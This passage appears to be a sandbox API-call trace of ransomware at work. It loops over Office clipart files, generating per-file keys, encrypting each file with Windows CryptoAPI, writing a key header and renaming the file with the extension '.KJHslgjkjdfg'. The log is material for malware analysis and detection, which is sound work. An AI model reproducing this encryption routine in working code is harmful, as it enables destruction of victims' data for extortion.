[0207.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.497] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.497] GetProcessHeap () returned 0x990000 [0207.497] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.497] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.497] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.497] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.497] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.497] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.497] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.497] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.497] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.497] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2108, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2108, lpOverlapped=0x0) returned 1 [0207.499] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2110, dwBufLen=0x2110 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2110) returned 1 [0207.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.499] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2110, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2110, lpOverlapped=0x0) returned 1 [0207.499] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.499] SetEndOfFile (hFile=0x130) returned 1 [0207.501] GetProcessHeap () returned 0x990000 [0207.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.501] GetProcessHeap () returned 0x990000 [0207.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.kjhslgjkjdfg")) returned 1 [0207.503] CloseHandle (hObject=0x130) returned 1 [0207.503] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1 [0207.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.503] GetProcessHeap () returned 0x990000 [0207.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.503] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.504] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.505] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.505] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.505] GetProcessHeap () returned 0x990000 [0207.505] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.505] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.505] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.506] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.506] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.506] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.506] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.506] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.506] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.506] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.506] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f24, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f24, lpOverlapped=0x0) returned 1 [0207.507] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f30) returned 1 [0207.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.507] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f30, lpOverlapped=0x0) returned 1 [0207.507] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.507] SetEndOfFile (hFile=0x130) returned 1 [0207.509] GetProcessHeap () returned 0x990000 [0207.509] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.509] GetProcessHeap () returned 0x990000 [0207.509] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.kjhslgjkjdfg")) returned 1 [0207.511] CloseHandle (hObject=0x130) returned 1 [0207.511] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0207.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.513] GetProcessHeap () returned 0x990000 [0207.513] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.513] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.513] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.515] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.515] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.515] GetProcessHeap () returned 0x990000 [0207.515] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.515] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.515] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.515] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.515] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.515] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.515] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.516] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.516] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.516] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.516] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2178, lpOverlapped=0x0) returned 1 [0207.517] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2180, dwBufLen=0x2180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2180) returned 1 [0207.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.517] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2180, lpOverlapped=0x0) returned 1 [0207.517] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.517] SetEndOfFile (hFile=0x130) returned 1 [0207.519] GetProcessHeap () returned 0x990000 [0207.519] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.519] GetProcessHeap () returned 0x990000 [0207.519] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.kjhslgjkjdfg")) returned 1 [0207.522] CloseHandle (hObject=0x130) returned 1 [0207.522] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1 [0207.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.523] GetProcessHeap () returned 0x990000 [0207.523] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.523] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.523] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.525] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.525] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.525] GetProcessHeap () returned 0x990000 [0207.525] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.525] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.526] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.526] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.526] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.526] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.526] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.526] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.526] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.526] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.526] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1664, lpOverlapped=0x0) returned 1 [0207.527] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1670, dwBufLen=0x1670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1670) returned 1 [0207.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.527] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1670, lpOverlapped=0x0) returned 1 [0207.528] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.528] SetEndOfFile (hFile=0x130) returned 1 [0207.530] GetProcessHeap () returned 0x990000 [0207.530] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.530] GetProcessHeap () returned 0x990000 [0207.530] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.kjhslgjkjdfg")) returned 1 [0207.531] CloseHandle (hObject=0x130) returned 1 [0207.531] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1 [0207.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.532] GetProcessHeap () returned 0x990000 [0207.532] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.532] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.532] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.532] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.533] GetProcessHeap () returned 0x990000 [0207.533] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.533] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.533] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.533] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.535] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.535] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.535] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 